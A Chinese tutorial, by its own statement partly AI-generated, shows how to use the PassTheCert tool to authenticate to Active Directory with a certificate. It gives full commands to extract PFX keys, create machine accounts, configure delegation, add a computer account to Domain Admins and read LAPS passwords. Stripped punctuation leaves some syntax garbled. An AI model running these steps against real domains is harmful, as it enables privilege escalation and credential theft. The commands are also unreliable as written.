如何利用PassTheCert添加域计算机账户?详细步骤与示例演示
如何利用PassTheCert添加域计算机账户详细步骤与示例演示【免费下载链接】PassTheCertProof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel项目地址: https://gitcode.com/gh_mirrors/pa/PassTheCertPassTheCert是一款强大的Proof-of-Concept工具通过Schannel使用证书对LDAP/S服务器进行身份验证特别适用于不支持PKInit的场景。本文将详细介绍如何使用PassTheCert工具添加域计算机账户帮助新手用户快速掌握这一实用技能。一、PassTheCert工具简介 ️PassTheCert支持通过证书在LDAP协议上进行身份验证可在389端口通过StartTLS或636端口LDAPS上运行。该工具提供了Python和C#两种版本其中Python版本可直接用于管理域计算机和执行RBCD攻击。工具的核心功能包括添加计算机账户、配置约束委派服务、获取LAPS密码等是域环境管理与安全测试的得力助手。核心功能特点支持Schannel证书认证的LDAP/S连接兼容LDAPS636端口和StartTLS389端口模式提供交互式LDAP shell进行高级操作支持计算机账户创建与属性配置二、准备工作环境与依赖 在使用PassTheCert添加域计算机账户前需完成以下准备工作1. 安装必要依赖确保系统已安装Python 3.x及以下依赖库pip install ldap3 impacket2. 获取证书文件需要有效的用户证书文件.crt和私钥文件.key。若使用Certipy获取证书可通过以下命令从PFX文件中提取openssl pkcs12 -in certificate.pfx -nocerts -out user.key -nodes openssl pkcs12 -in certificate.pfx -nokeys -out user.crt3. 克隆项目仓库git clone https://gitcode.com/gh_mirrors/pa/PassTheCert cd PassTheCert/Python三、添加域计算机账户的详细步骤 步骤1基本语法与参数说明PassTheCert的Python脚本提供了直观的命令行参数基本语法如下python passthecert.py add-computer -dc-ip DC_IP -crt cert_file -key key_file -computer-name NAME$核心参数说明-dc-ip域控制器IP地址-crt用户证书文件路径如user.crt-key私钥文件路径如user.key-computer-name要创建的计算机账户名需以$结尾-port端口选择389StartTLS636LDAPS默认636步骤2通过LDAPS创建计算机账户使用636端口直接通过LDAPS创建计算机账户python passthecert.py add-computer -dc-ip 192.168.1.100 -crt user.crt -key user.key -computer-name WEB01$成功执行后工具将返回新创建计算机的详细信息包括DNS主机名、SAM账户名和密码。步骤3创建自定义名称与密码的计算机账户如需指定计算机账户密码需符合域密码策略可使用-password参数python passthecert.py add-computer -dc-ip 192.168.1.100 -crt user.crt -key user.key -computer-name DB01$ -password Pssw0rd123!步骤4配置带有约束委派的计算机账户高级用法创建计算机账户并配置约束委派服务如cifs和ldappython passthecert.py add-computer -dc-ip 192.168.1.100 -crt user.crt -key user.key -computer-name APP01$ -delegation cifs/SRV-MAIL.domain.local,ldap/SRV-MAIL.domain.local四、验证与故障排除 ✅验证计算机账户是否创建成功可通过交互式LDAP shell验证新创建的计算机账户python passthecert.py ldap-shell -dc-ip 192.168.1.100 -crt user.crt -key user.key在LDAP shell中执行查询 search (samAccountNameWEB01$)常见问题解决证书验证失败确保证书包含正确的EKU增强型密钥用法且私钥与证书匹配LDAP连接超时检查域控制器IP、端口是否正确防火墙是否允许访问权限不足确认用于认证的证书对应账户具有添加计算机的权限默认域管理员或Account Operators组五、高级应用通过LDAP Shell管理计算机账户 PassTheCert提供的交互式LDAP shell支持更多高级操作例如1. 添加用户到域组python passthecert.py ldap-shell -dc-ip 192.168.1.100 -crt user.crt -key user.key add_group_member CNDomain Admins,CNUsers,DCdomain,DClocal CNWEB01$,CNComputers,DCdomain,DClocal2. 获取计算机LAPS密码 get_laps_password WEB01$六、总结与注意事项 使用PassTheCert添加域计算机账户是一个高效且安全的过程特别适用于需要证书认证的场景。通过本文介绍的步骤您可以轻松完成计算机账户的创建与配置。请注意仅在授权环境中使用该工具进行测试证书文件需妥善保管防止未授权访问操作前确保对域环境有充分了解避免影响生产系统通过合理利用PassTheCert的功能您可以更灵活地管理域环境中的计算机账户提升域管理效率与安全性。如需深入了解工具原理可参考项目中的Python版本README和C#版本实现。【免费下载链接】PassTheCertProof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel项目地址: https://gitcode.com/gh_mirrors/pa/PassTheCert创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考